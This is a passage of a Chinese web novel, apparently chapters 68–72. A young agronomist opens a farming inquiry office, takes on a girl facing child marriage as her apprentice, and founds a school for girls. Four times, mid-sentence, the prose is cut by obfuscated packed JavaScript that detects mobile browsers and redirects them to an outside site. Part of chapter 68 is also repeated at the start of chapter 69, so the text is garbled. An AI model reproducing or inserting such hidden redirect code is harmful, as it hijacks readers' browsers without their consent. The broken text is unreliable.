昨日同家人说了今日问讯处要开张，各个闹得要来看看，乔元好说歹说才将人劝了下来，为了让他们能消停些，今日她早早便摸出门了，在这里看书可比在家里安静些。 书册一看就是半个时辰，日头越升越高，中街上的人气也渐渐足了起来。 整条街道上都充斥着小贩的吆喝声，牛车马车的轮轴声，还有各处讨价还价的声响。 四处的吵闹声不绝于耳，唯有她这一处小屋，安安静静，无人问津。 “乔姑娘。”突然，一道苍老的声音打断了正在翻开书册的乔元。 她抬头看去，是在西市上见过的熟面孔。 乔元将书册半阖上，“老伯，如今家中可还闹螟虫了？” 老者黝黑的脸上扬起朴实地笑意，“难为姑娘还记得，那日若不是姑娘带我去县衙讨了农药来，我真不知道该如何办。现下地里的大豆已然大好，我今日是专程来谢过姑娘的。” 回完乔元的话，老者将脚边的包袱提了上来，打开绳结，从里头掏出了一大捆蔬菜，菜叶上带着露珠，嫩地能掐出水来。 “今早去西市找不到姑娘，听人说起，才知道你搬到这处来了。小老儿家徒四壁，只有这菜还拿得出手，姑娘且收下罢。”说完，他便将这些东西往乔元的桌子上放。 “别，我行的不过是分内之事，这些菜这般鲜嫩，放在西市上能卖不少银钱呢。”乔元婉拒道。 她将东西推回来，老者便再度往上放，“要不是姑娘制的黄板，莫说金台县，怕是整个郢州城都要受害，我这点东西算的了什么，姑娘莫要推辞了。” 推搡半晌也没个结果，乔元索性不再推拒，将这一大捆菜收了下来。 正同老者挥手作别，却听得远处锣鼓喧天。 将菜放到后院，乔元再出来看热闹时，便瞧见舞狮的，打鼓的，已经停在她门口了。 乔元有些一头雾水，是谁家叫的舞狮队走错了不成？ 偏生舞狮队的人都在矜矜业业的表演，她一时还不好意思上前打断。 不过乔元站在高处看去，舞狮的那两人配合地极好，狮头威武行进，狮尾则沉稳摆步，整个狮身颜色鲜亮，随着舞狮人的动作，就像灵动的狮子活过来一般。 鼓点配合舞狮人的跃动，精准有力地敲击着。 有了舞狮夹在路中间，乔元的屋子前红红火火很是热闹，吸引不少路过的人来驻足观看。 “敢问这间是什么店铺，怎的新开业便这么大的排场？”乔元听得有人在问。 “这可不是普通店铺，你可知晓那田间地头解了蚜害的黄板？便是出自这位乔姑娘之手，这间店铺是她开的问讯处。”他身侧之人回道。 “什么！那黄板竟是个姑娘制的？好兄弟，你且再给我说说，这问讯处又是什么？” 下头的围观路人皆在私语着，乔元一时间倒成了众人瞩目的对象。 眼瞧着舞狮马上便到尾声了，乔元刚想下去问询，又听得后头有人高声喊道：“知县大人到。” 一听是知县大人来了，人群马上分开一条路出来。 周进身着官服，腆着大肚子，很是傲慢地走过人群。可到了乔元面前，却是立马换了副面孔，他笑道：“姑娘今日大喜啊。” 乔元压根没想过宣传这处，她只同西市的农人说过，叫他们日后有农事上的事，到这里来寻她便是。 今日看来，连周进都比她上心些。 乔元躬身谢过后，指了指外头的舞狮队道：“多谢大人请的舞狮队。” 周进闻言一愣，“这不是姑娘你自己个请的？” 乔元也是怔愣片刻，“不是大人请的？” 随着鼓点越来越密，舞狮队终于在一众叫好声中听了下来，领头的班主走到台阶下，对着二人躬身一礼，“见过知县大人，见过乔姑娘，这是我们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14340796|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小田村送给姑娘的开店贺礼。” 小田村是金台县上一个很是名不经传的小村落，村中人口少，田地又不好。乔元在灵州回来之后，曾去过一次，不仅将那处的蚜害彻底根治了，还教他们了不少防虫害的知识。 事情已过去许久，乔元甚至不知道他们是如何得知她的店铺要开业的，心头泛起阵阵涟漪，胸腔里涌上莫名的情绪，乔元回礼道：“多谢你们。” 周进在一旁打量一番，眼珠一转，踱步上前，摆足了知县的架子，才道：“诸位，乔姑娘是我们金台县治蚜的功臣，也是整个郢州的功臣。她前段时日已经被严维运严大人收为徒弟，就算放眼整个郢州，也是数一数二的人物了。自今日起，若是有人敢同她过不去，便是同我过不去，可听清了？” 下头是清一色恭敬的应答声，间或夹杂着不少惊呼。 “什么！严老收了乔姑娘为徒弟？” “我们金台县岂不是要出个大人物了！” “她这么个年纪，便有这么大能耐，我是不信的。” “你可仔细些，知县大人还在上头！我倒是觉得严老定是看中了她的过人才能，才收她为徒的。” 嘈嘈杂杂的议论声不绝于耳，乔元也没想细听。 她今日本想安安静静看书，再能顺手答疑便更好了，没曾想一个早上就没消停过。 好容易送走周进，乔元将手搭在眉弯处一看，丁广业和几个村的里正又带着人来了。 得，乔元索性将书册阖上，这书今日怕是看不成了。 消息像是长了腿一般，不出半日，半个金台县的人都知道那治蚜害的乔姑娘，在中街开了间农事问讯处，还是知县大人亲自来贺的。 间接导致农事问讯处热闹了大半日，全是迎来送往来道贺的人，连半个真正来问询的农人都没有。 乔元耐着脾气将最后一批人送走，这才有空坐在椅子上休息。 揉了揉自己酸痛的肩颈和假笑了一日的嘴巴，乔元回头看了一眼今日各方送来的东西，她的目光最后定格在了最早送来的那一捆菜上。 老者朴素的笑脸再度浮现在她面前。 也罢，今日挺好的。 “姐姐，敢问你便是那个制出黄板的乔姑娘？”忽的，有人在她身后清清脆脆道。 69. 立身（八） 消息像是长了腿一般，不出半日，几乎整个金台县的人都知道那治蚜害的乔姑娘，在中街开了间农事问讯处，还是知县大人同巡检使亲自来贺的。 这间接导致农事问讯处热闹了一整天，迎来送往全是来道贺的人，半个真正来问询的农人都没有。 人潮一浪接一浪，乔元所到之处，听到的都是些恭贺和吹捧的话。 耐着脾气将最后一批人送走，乔元这才有空坐在椅子上休息。 揉了揉自己酸痛的肩颈和假笑了一日的嘴巴，乔元回头看了一眼今日各方送来的东西，吃的用的还有名贵字画首饰。 一想到要怎么处理这些东西，她就头疼。 暮色开始西沉，目光在屋里逡巡半晌，最终停在了最早送来的那一捆菜上。 老者朴素的笑脸再度浮现在她面前。 也罢，至少有份真心的谢礼。 “姐姐，敢问你便是那个制出黄板的乔姑娘？”有人在她身后清清脆脆道。 乔元闻声一回头，见到的是一张灿烂的笑脸，笑脸的主人身着一身粗布衣裳，扎着双丫髻，头上戴着一朵粉色绒花，脸盘圆圆，瞧着是个很是可爱的小姑娘。 “正是，你可有何事？”乔元应道。 那姑娘面上的笑意大了些，走进屋内握着乔元的手，乔元有些不明所以地被她拉着起身。 还没等她反应过来，小姑娘便直接欺身抱住了她，哭嚎道：“乔姐姐，求你收我为徒罢！” “什么？”小姑娘比她还矮上半截，瞧着不谙世事的，偏生紧紧抱着自己不撒手。 乔元被她勒地有些喘不过气，“你先松手。” 小姑娘将头埋在她腰间，非但不放，反而勒得更紧了些，“我不放，你若不答应我，我是绝对不会松手的。” “放开！” “我不！” 二人僵持了半刻钟，她是死活不肯放开。 没曾想这姑娘看着柔弱，性子倒挺倔。 乔元迫于无奈，只能狠下声道：“你若松开，我还有可能收你为徒。你若不松，便是抱到明儿早上，我都不会应下你。” 话音刚落，腰腹间的桎梏松了。 乔元甩了甩被箍疼地手臂，重新坐回椅子上，“丫头，你且说你姓甚名谁，为何突然要来拜我为师。” 她面前的小丫头瘪瘪嘴，一幅泫然欲泣的样子，“我……我叫李绒，今年十四。我今日在巷口听到了你的事儿，知道你是严大人的弟子，便……便想来求你收我为徒。” “你对农事感兴趣？”乔元问道。 李绒摇了摇头。 “那对虫类感兴趣？” 李绒面容有片刻僵硬，再度摇了摇头。 …… 乔元扶额苦笑道：“那你为何一定要拜我为师？就因为我是严大人的徒弟？” 这回李绒点点头。 “我收不了你。”乔元回绝得很快。 “为何？”李绒闻言，小包子一样的脸庞迅速拧起，“乔姐姐，求求你了，我什么都肯干，只要你愿意收我为徒。” “你不事农事无意农学，还请回罢。” 听出乔元话里断然的拒绝之意，李绒忍了许久的眼泪说掉就掉，“乔姐姐，要如何你才肯收我为徒，我只有你这一个出路了。” 半大点姑娘在自己面前哭的梨花带雨，乔元终究不忍心，她递了块帕子过去，“天要黑了，你且快些回家罢。” “我不回去。”李绒在原地闹变扭般道。 “绒姐儿，绒姐儿，你可在此处？”有妇人的叫喊声从远处响起。 “你听，你娘在找你了。”乔元道。 听到自己娘亲的声音，李绒非但没有欢喜，反倒很是抗拒。“我是不会回去的。” 叫喊声越来越近，那妇人寻便了整条街，终于在乔元处找到了女儿，她赶忙跑进来，拉着李绒的手往外走，“快，同阿娘回去。” “我不回去！”李绒死扒着门不松手。 “绒姐儿，听话！”妇人气恼地敲了敲她的脑袋，硬拉着她往外走，中间还回过头来，同乔元道了声谢。 “嫁衣都还没试呢，你怎的偷跑出来了。眼看六月底便要成婚，快回家试了，阿娘才好给你改。”妇人的声音不大不小地飘入乔元耳朵里。 后头又响起李绒抗拒的话，不过因为距离渐远，乔元已经有些听不清了。 李绒方才擦眼泪的帕子，此刻正放在柜台上。 十四岁的姑娘，六月底便要成亲，怪不得她方才说，自己只有她一个出路了。 起身攥紧那条帕子，乔元瞬息间提步便追了出去。“等等！” 远处的妇人同李绒同时回头，那妇人道：“姑娘还有何事？” 乔元快步走到李绒面前，连呼吸都来不及平复便道：“我能收你为徒。” 李绒一听，面上爆发出巨大的惊喜。“当真？” 乔元点了点头。 那妇人听不懂她们在说些什么，“什么徒弟不徒弟的，快，绒姐儿，我们走。” 李绒被她拉着有些踉跄地往前，却回头带着笑意同她挥手，“师傅，我一定会来找你的。” “绒姐儿！” 看着母女二人远去的方向，直到她们消失在拐角，乔元这才抬步往回走。 她知自己能留在金台县的时日已经不多了，也明白自己方才的决定有些莽撞，但让她亲眼看着一个才上初中的小姑娘去嫁人，乔元忍不下这份心。 待她重新走回问讯处，却发现自家人已经等在门口了。 “这便是二姐姐在的地方？”问讯处门前，乔永言拉着乔长平的袖口问道。 “是了，这处还是知县大人赏的呢。”乔长平回道，语气满是自豪。 “哇！二姐姐好厉害！”乔永言边蹦边拍起手来。 “爹娘，大哥，永言。”在几人后头的乔元收拾好情绪，开口道。 周素惊喜回身，“元姐儿，你这是去哪儿了？” “去那处送了点东西。”乔元道，“对了，你们怎的都来了？” 提及此事，乔家人的面上多少都有些羞赧。 还是周素站了出来道：“他们忍了一天，就想来看看你这问讯处。而且……我们听说……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14347956|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“元姐儿，你被严大人收为徒弟了？”乔长平抢了周素的话。 乔元当初瞒着家里人，便是因为这事儿在她没到京城前，都还会有变数。可如今周进已经透了底，她也不能再瞒着了，乔元点头应道：“是。” 听她应下，乔家众人爆发出巨大的欢呼声。 “天呐，我今日在听别人的时候还不敢相信，没想到还真是我们家元姐儿。” “我们乔家当真是祖坟上冒青烟了。” “元姐儿，今日想吃什么，只要你说，阿娘全都给你做出来。” “二姐姐，二姐姐我长大了也要同你一样。” 一家人的嘴兴奋地停不下来，他们边说着边帮乔元将问讯处简单收拾了一下，待关好门窗，又一路叽叽喳喳地回到了青石巷。 到了晚间乔家更是热闹，周素用尽浑身解数，做了一顿色香味俱全，卖相极佳的饭。 家里的男丁们拿了酒出来庆祝，每个人脸上都洋溢着笑容，连乔元都被劝着喝了一杯。 好容易闹腾完，留下男丁们在厨房里收拾，乔元便先回屋洗漱。 对着烛光脱了外衣，她才发现袖里有个东西硌得慌。 后知后觉想起来，似乎是江稷今早送她的锦盒。 白日根本没时间让她拆开来看，如今夜深人静终于空闲下来，乔元把那盒子小心打开来。 里头放的是一支制作精巧的蝴蝶簪子。 乔元将簪子拿在手上细细打量，簪上的蝴蝶制作地很是精细，一对翅膀在烛火下闪闪发光，不论转到何种角度都是流光溢彩，而簪子下头坠的流苏，则是用一颗颗小巧圆润的珍珠制的。 乔元将簪子拿在手上晃动一下，蝴蝶色彩变幻，珍珠流苏前后浮动，画面极美。 乔元凑近细细分辨了一会儿，才惊觉制作蝴蝶翅膀的材料像是螺钿。 她从前只在博物馆见过实物，当时见到就已经被惊艳，如今自己亲自上手赏玩，再度被传统技艺的精湛刷新了认知。 金台县不近海，想要得到这样的螺钿簪子，怕是要费好一番功夫。 没想到江稷送的这份礼物这么贵重，乔元小心翼翼地将簪子收起放了回去。 就冲着这支簪子，她也得给江稷送来的盐碱地问题一个满意的答复。 对着书册一直熬到深夜，乔元这才拖着脚步躺到了床上。 外头月光明亮，她的睡意反倒被驱散不少。 不知怎的，乔元想起李绒那张圆圆的脸庞来。 整个景朝，不过姑娘十四五便成了人妇，这样的事情太过稀疏平常。 这是一个她一直知道，但却一直忽视了不敢面对的问题。 自己能过的这么恣意，不过只是因为‘投胎’在了一户好人家，兄友弟恭，父母慈爱。 可那些女子呢？ 乔元在床上辗转反侧，有些难眠。 自己一开始不过是想治蚜害，赚到钱，让家里过上更好些的日子。但如今她已被严维运收为弟子，不日就要进京，手里的银钱更是几辈子也花不完。 那她，可能为那些不愿嫁人的女子做些什么？ 70. 女学（一） 一直到第二日晨起，乔元都在想这件事情。 收拾好走到院子里，乔永言正背着书袋准备跟乔满山一同去学塾。 如今自家二姐姐算是整个金台县的名人了，乔永言一见她出来，奔上来撒娇道：“二姐姐，你今日怎起的这样早。” 乔元揉揉他的头，“胡说，我一向起得都早。永言这是要去学塾了？” “是呀，昨日先生留了功课，说今日谁能将整篇《三字经》背出来，能得一整块炒米糖呢！” 一说到炒米糖，乔永言咧了咧嘴角，傻笑了起来。 乔元见他这幅馋猫样，允诺道：“行，你要是背出来了，二姐姐给你买聚味斋的蜜饯吃。” 聚味斋是整个金台县最好的蜜饯铺，里头的糖蜜饯又甜又香。 乔永言一听，恨不得蹦到三尺高，“二姐姐，你可得说话算话。” 乔满山见状劝阻道：“元姐儿，你可别这样宠着他。” “爹，我省得的。”乔元笑着推了乔永言一把，“行了，快去学塾罢。” 乔永言应了一声，临走还对她行了个礼，这才兴高采烈地同爹出了门。 这孩子，能吃上蜜饯便高兴成这样。 乔元摇摇头，准备往堂屋走。 这学塾的先生倒是上道，知道用炒米糖来引着学生好生背书。 没走几步，乔元的步子停了下来。 在学塾书背的好能奖励炒米糖，若是她开设农事女学，学得好便能奖励银钱，便能劝得那些那人将姑娘送来此处。 姑娘家有了能傍身的银钱，便也不必早早嫁人，纵然目前凭她之力扭转不了整个景朝的风气，但至少，她能救下金台县的女孩儿们。 念头甫一落成，乔元抬步便往外走，绣花鞋踏在地上，步履越来越快，到最后她甚至直接跑了起来。 周素见女儿忽的狂奔了出去，跟在后头喊，“元姐儿，你还未用饭呢！” 乔元背身冲她摆摆手，一眨眼便跑了个没影。 “这丫头。”周素看着乔元跑走的背影，嘟囔一句将手擦干，入屋去唤乔长平，“长平，你晚些将这篮子烙饼送去中街给元姐儿。” “哎。”屋里的乔长平爽快地应了一声。 —— 一路小跑到巡检司门口，还没等门口的差役同她见礼，乔元直接略过二人跑了进去。 “这……方才的是乔姑娘罢？” “自然了，你见过哪个姑娘敢这般闯入巡检司的。” 门口侍立的差役说了两句闲话，便又端正站姿不再言语了。 后院。 江稷刚从地牢里出来，历经了这么些时日，他终于摸到了案子的边角。压在心口的巨石被翘起一块，江稷抬手掩了耀目的日光，待眼睛重新适应了光亮，这才拿着卷宗往大堂走。 刚走过长廊，便听得从后头急速而来的脚步声，还未等他回头，乔元的叫喊声打后头响起，“江稷，等等。” 长廊迂回难行，江稷瞧着就在她前头不远，乔元楞是跑了两三个拐角才得见。 眼看人就在眼前，乔元边跑边同他招手，“我有事找——” “你。”字还未落下，裙角在连续的奔波中有些下垂，乔元迈出的下一步忽的踩到了裙边，她的身子骤然失去平衡。 眼前一花，怕是要在地上摔一个狗啃泥，乔元下意识闭眼以接受即将而来的疼痛。 下一瞬，男人温热有力的手掌，便贴着孟夏的衣裙稳稳地扶住了她。 江稷的手大而有力，单手就足够撑起乔元一人的重量。 确认失重的身体停止坠落，紧紧攀着江稷手臂的乔元这才睁眼，麦色的面庞离她只有几尺的距离。 手臂的热量透过衣裙传递到她的身体上，二人对视之间，乔元惊叫一声，跳着大步跨开江稷臂膀的包围圈。 她手忙脚乱地收拾好，才转身对他道：“多谢，多谢。” 江稷难得在乔有面上看到慌乱的神色，手里还残留着柔软布料的触感，他负手而立，明明耳根处已经艳红一片，偏面上不动声色道：“往后走路小心些，对了，今日怎的来寻我？” “噢。”乔元反应过来，她深吸一口气以平复呼吸，而后道：“我得烦你帮个忙。” “你说便是。” “你们巡检司可会每日都派人去金台县各处巡视？”乔元问道。 江稷丝毫不避讳她，直言道：“若在县城便是每日巡视，若是各处村庄，忙的时候约莫二三日一次。你问这个作甚？” “我能否烦请你让去巡视的人都带着我写的告示去？”一想到自己方才紧紧攀着江稷的臂膀，乔元觉得自己面上越来越热，她只能努力抑制跳的有些失衡的心口，装作沉稳道。 “可。”江稷应道。 乔元奇了，“你不问是什么告示？” 江稷轻笑一声，抬步往前走，“你写好了总归是要交给我的。” 乔元跟在他后头，“这倒不错，那你处可有纸笔？我现下便写给你。” 江稷看了她一眼，眉眼处透露出一丝深究，“你会写字？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14379234|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 不知怎的，乔元自方才起就有些不敢正眼看他，垂头道：“在家自学了不少，遇上不会的便去学塾问永言的先生，这段时日下来，常用的字不成问题。” 见江稷忽的停下步子，乔元疑惑道：“怎的了？” 江稷摇摇头，接着往前走，“无事，你跟我来罢。” 乔元的成长速度，似乎已经超出他的想象了。 将写好的告示交给江稷，烦他托人誊抄多份，让巡街的差役粘贴在大街小巷，乔元这才同他告别，回到中街的农事问讯处。 差役粘贴的告示，百姓不敢随意撕毁。如此一来，经过人们口口相传，想必没过多久，整个金台县便知晓她这处要开设农事女学。只要在里头学得好，校考之后便能得到不少的银钱奖励。 这世道，多一个人赚钱，日子便能好过一分。再凭借她严维运弟子的身份，她就不信，这些人家会不送适龄的女儿到她这处来。 —— 农事问询处。 刚回到中街，乔元便见问讯处门口挤满了人。 被围在人群中心的乔长平一见她来，挤出人群哭丧着脸朝她奔过来，“元姐儿，你可算来了，这么些人扯着我问东问西了一个早上，我快招架不住了。” 往日在石湾村，日子清清静静，乔长平哪里经历过被这么些人围着问询，今日他一到此处，便被围在里头，甚至有人知道他是元姐儿的大哥后，非拉着他同自家闺女结清。 瞧着自家大哥面色惨白，像是被霜打蔫了的茄子，乔元拍拍他的肩以示安慰，穿过人群走到台阶上，“诸位今日来，可是有农事上的问题需我解决？” 下头候着的那些人衣着华贵，或是自己或是身后的仆役手里都提着不少的礼盒，哪里像是种地的人。 见没人应声，乔元又问，“那便是来送礼的了？” 人群的氛围这才缓和了些，“乔姑娘，在下慕名已久，你不可不能只收昨日那些人的，便不收我们的了。” “是了，是了。乔姑娘，我今日带了上好的山参，只想送给你呢！” 严老徒弟，今日亲眼得见都算烧上高香了，若能同她攀上关系，那真正是祖坟冒青烟，人群各处骚动不止，都想先将自己手头的礼品递到乔元手上。 乔元抬手，示意大家稍安勿躁，“你们便这么想给我送礼？” “这是自然。” 乔元嘴角一弯，接着道：“诸位当真客气，刚好我欲创办农事女学，诸位送的这些东西，便是我女学的第一批奖励物资了。” 71. 女学（二） 那儒生的话刚落下，问讯处这一片顷刻间便寂静无声，稍远几步的街口喧如鼎沸，同这处形成鲜明对比。 乔元收回手，挺直脊背拾级而下，一步一步走至他面前。 儒生见她与自己愈发靠近，头颅高高抬起，用下巴点着乔元讥讽道：“怎的，我说的有何不对吗？” 乔元一直走到同他之间只有一拳的距离才停下，仰头目视他，轻笑道：“公子可过县试了？” 没想乔元问的是这个，儒生面上露出倨傲神色，点头道：“这是自然。” “姑娘有所不知，这位是我们金台县有名的秀才张禀。那年县试他可上得三甲呢！”有人给乔元专门解释道。 听人说起自己当年的成绩，张禀昂首挺胸，像是一只努力地给众人展示自己冠羽的雄鸟。 “原来如此，”乔元假意惊艳道：“倒是我有眼无珠了，未曾想张秀才这般年纪便有如此成就” “过誉过誉，不过勉强位列第二而已。还要多谢那年主考，慧眼识珠。”张禀朝日光盛处拱了拱手，得意之情溢于言表，看向乔元的眼神也愈发轻蔑。 姑娘家就是姑娘家，几句话便能吓得她只会依言附和，也不知道严老瞧上她什么了。 乔元忽略了他看来的目光，状作无意道：“读书并非易事，张秀才既是这般饱学之士，想必家中应该很是殷实，令尊令堂也定是咱们金台县的肱骨罢。” “肱骨，自然是肱骨了。”乔元这么一说，一旁有人忍不住笑了出来。 “怎的，莫不是官职太高，不便相告了？”那人笑的揶揄，乔元一听便知里头有情况。 一说到自家现状，张禀的面上忽的变了个颜色，“你问这些作甚，我家如何，同你有何关系。” “怎会没关系，自然是很有关系了。”乔元抬眼看向他。 讨好乔元还是张禀，在场众人心中门清儿，一个是严老的新晋弟子，一个是省试屡次不种的穷酸秀才。 马上便有人出言道：“姑娘有所不知，张秀才家中为了供他读书，他那老祖母那么大年纪了还上街卖豆腐。还有他娘，日日替人浆洗衣物，寒冬腊月那手还浸在河水里。家中几人赚来的三瓜两枣，全给他了。” “偏生……”说话那人顿了顿，似是在看张禀的脸色。 “偏生什么？”乔元问道。 “偏生张秀才省试还屡次不中。”有人替他说道。 “你！你们！”张禀最想藏住的事儿被人没几句便透了个干净，他面色涨红，很是难看。“你们为了讨好这样虚有其名的丫头，居然这般作践于我！待我一举高中，定叫你们所有人都好看！” 面前的张禀已然怒极，乔元面对张禀而立，轻启樱唇，笃定道：“张秀才，我劝你一句，这省试你是考不上的。” 张禀方才还在妄言妄语，转而便听到乔元说自己要屡试不中，他气得牙根痒痒，恨不得上去抽乔元一个耳光。 “你这般出身的女子，如何能知晓我心中鸿鹄之志，你胆敢再说，我他日为官，第一个便要治你的虚言之罪！” “这话并非我说，而是你自己说的。”乔元淡然接话道。 张禀气结，“我何时说过这样的话！” “怎会没说过呢？”，乔元张口帮他回忆，“张秀才方才不是说了，女子生来便应勤俭持家，相夫教子，这是自古以来命定的正理。照这个理来说，张秀才你家自你祖父母一辈便是卖豆腐的，贩卖豆腐便是你的正理，故而你是绝对过不了省试的。” “你……你这是歪理！” “这怎么会是歪理，依张秀才所言，千百年来是如此，那便是正理。父承祖业，子承父业，你合该就是卖豆腐的命。” “男人是男人，女人是女人，这怎能相提并论！”张禀双拳攥紧，一双眼眸通红。 “怎么？”乔元嗤笑道，“男人同女人有何不同，都是一双眼睛一张嘴巴，若非女人，这世上还能有这么多的男人？” 张禀没想到这姑娘看着和善，一抹面底下竟藏着这样一幅面孔，他斥道：“你真是巧言令色不知所谓，自古女人就合该如此，男人本就和她们不同！” “你为何要论古今？古来就有难道便都是对的？若无严老创新，现在的麦子一亩收成只有六斗，若没有各色黄板，金台县除不了蚜害你现下还吃不上饭。你受祖母同母亲抚育，吃了女人这样多的好处，今日却端起饭碗来骂娘，说女子不该上学？” 乔元的个子比张禀矮上一个头，瞧着本应势弱，却不知为何，顷刻之间，她的气势已然压过了张禀一头。 “我今日且告诉你了，古来没有的，今日便要有。古来不许女子入学，我乔元今日便要创这条先河，我倒要看看，谁人敢再在此处说一个不字！”乔元的话掷地有声，惊地半条中街上的人都侧目相望。 “啪啪啪”在人群的偏僻角落，有人鼓起掌来。 这样的掌声在如此情景下，显得很是突兀。 众人四下一看，才发现拍手的人是个被娘带着出来的小姑娘。小姑娘正卯足了劲儿在鼓掌，一张小脸因为用力过猛而有些通红。 她娘见她这般引人侧目，忙将小姑娘的手捂着，讪讪一笑。 “阿娘，别捂着我，我觉得这姐姐说的没错，唔——”小姑娘不满的声音响起，话到半截，却突然没了声响。 她娘一手捏着她的手，一手捂着她的嘴巴，向众人连连弯腰致歉。 被掌声一打岔，张禀面上青一阵白一阵，他面容扭曲道：“泼妇！我不同你理论，你爱如何便如何罢！” 旋即，他转身退出人群，往小巷而去。 问讯处门口的人围了一圈又一圈，张禀一出中心，很快便被外头的人潮淹没。 看张禀夺路而逃，乔元这才清了清嗓子，方才话说的又快又高昂，她喉头有些咯痰。 用余下的目光扫视一遍在场众人，乔元道：“既然张秀才走了，我再重新问一次，可有人愿将手头的东西献予女学，当个开门彩？” 大家同乔元今日也不过初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403385|140924||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见，本以为严老弟子该是知书达理的大家闺秀，没想到是个不服输的，甚至还敢当街同人叫板对骂。 众人心头一时都有些踌躇，若真送了给女学当开门彩，他们哪里还有脸面在道上混下去；若是不送，张禀怕就是他们的下场。 这……这……两面都是死局啊。 回应乔元的依旧是一片沉静。 乔元显然预料到这样的结果，她丝毫不在意地往台阶上走，不再搭理众人。 “姑娘留步！”从身侧传来中年男子的声音。 乔元侧眸望去，是个衣着华贵文质彬彬的中年男人。 男人对乔元行了一礼，“姑娘所说当真是醒世之言，邱某受教。我愿将所携礼品送予姑娘所设女学当个开门彩，除此之外，我明日便将女儿邱月送到姑娘处，做农事女学的第一位学生。” 同他一齐来的人见男人一出口便是这样的话语，连想都不想，也跟着道：“乔姑娘，我也愿意。” “我愿意。” “我也是。” 有了人带头，羊群效应凸显，从众的人越来越多，问讯处外一时间全飘荡着一句句‘我愿意’。 乔元看向众人，眼瞳里没有丝毫波动。 她不管他们是真心实意也好，逢场作戏也罢，只要她能替天下女子撕出一个口子，自然会有后来人将这道属于她们的口子撕大踩实。 这堵阻碍她们的高墙，最终会成为她们的脚下尘泥。 —— 好容易将所有送来的东西造册登记，乔元正想歇会儿，便听得有人敲了敲门板。 “乔姑娘。” 乔元回头一看，倒是个熟人。 丁广业带着丁彦，正躬身在一旁赔笑。 “丁里正，今日怎的有空到我这处来？”乔元起身道。 丁广业走进屋里，很是谦虚道：“我哪里配得上姑娘一句里正，我能当上这里正，有大半功劳还得归于姑娘呢。” 傅鹏池的事情若不是丁彦揭发了出来，她当时也不会这么顺利的揪出这几个人。丁广业突然同她扯到这件旧事，那便是有话要说了。 乔元面上带着玩味的笑意，直言道：“丁里正今日来，应不是同我叙旧的罢？有话不妨直说。” 丁广业闻言一笑，没有再顾左右而言他。“姑娘聪慧，我今日来，是想同姑娘说一说这农药之事。” “可是有何不妥？”一提到这事，乔元立时拧眉道。 “不不不，”丁广业面上的两撇八字胡随着他脸上的肌肉上下翘动，他连连摆手道：“不止是妥，是太妥了。只要有对应的虫害，将姑娘所给的药剂兑水一喷，只消几天，虫害便少了不知道多少，大家如今都将这药奉为神药。也因如此，姑娘在各村农人间的名气是越来越大了。” 不是那两种农药有问题便好，乔元放下心来，接着问道：“那是？” 丁广业躬起身子，对她行了个大礼，“我今日来，是想问问姑娘，可愿同我一齐将这农药售卖到景朝各处？” 72. 女学（三） 丁广业说的这件事，乔元并非没有想过。 或者说，从一开始，她打的就是这个目的。 乔元的心头藏着一个计划，这个计划是从她同江稷剖白那晚开始的。 那晚她同江稷说，要让乔元这个名字响彻整个景朝，农药就是她计划中最重要的部分。 学识固然可以传授，但传授的速度太慢，周期过长，想要在几年内泽被整个景朝，简直是天方夜谭。可农药就不一样了，一但确定可以抑制的昆虫类别，只要调整好浓度比率，马上就能通过商贩销往各处州县。 面前的丁广业还在殷切地看着自己，乔元掩下眸中的思量，回以笑容，“丁里正当真看得起我，兹事体大，可能容我再思量几日？” 丁广业当然知晓这事儿不是那么容易谈成的，他面上挑不出错来，回道：“这是自然，也怪我今日贸然到访，惊着姑娘了。” 乔元摇摇头，示意他父子俩坐在屋中的椅子上，给他们沏了茶上来，“丁里正也不必瞒我，今日既然来了，想必心里头已经有些想法了？” 丁广业双手接过乔元递来的茶水，却随手放置一边，“实不相瞒，前段时日我识得了一个打南边来的富商，他为人豪爽，义薄云天。那日见着我监督村人用姑娘的农药，他还笑受人诓骗在是在白费力气，没想到三两日过后，他便急急来见我，说能否托我同这制药之人打个商量，将这东西托与他售卖。” 